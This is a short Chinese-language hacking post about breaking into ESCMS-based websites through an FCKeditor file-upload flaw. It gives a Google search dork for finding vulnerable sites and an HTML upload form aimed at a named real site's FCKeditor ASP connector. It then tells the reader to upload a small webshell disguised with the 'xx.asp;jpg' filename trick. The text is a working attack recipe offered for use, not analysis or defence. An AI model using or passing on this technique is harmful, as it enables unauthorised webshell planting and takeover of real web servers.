是ESCMS程序的
GOOGLE搜索 intext:©2009-2010 ESCMS
利用的漏洞是fckeditor，，，呵呵，fckeditor可真的是帮了广大黑友的大忙了。。。
<form id="frmUpload" enctype="multipart/form-data" action="http://www.st999.cn/fckeditor/editor/filemanager/connectors/asp/upload.asp?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
存为html，上传xx.asp;jpg格式小马就可以了。。。
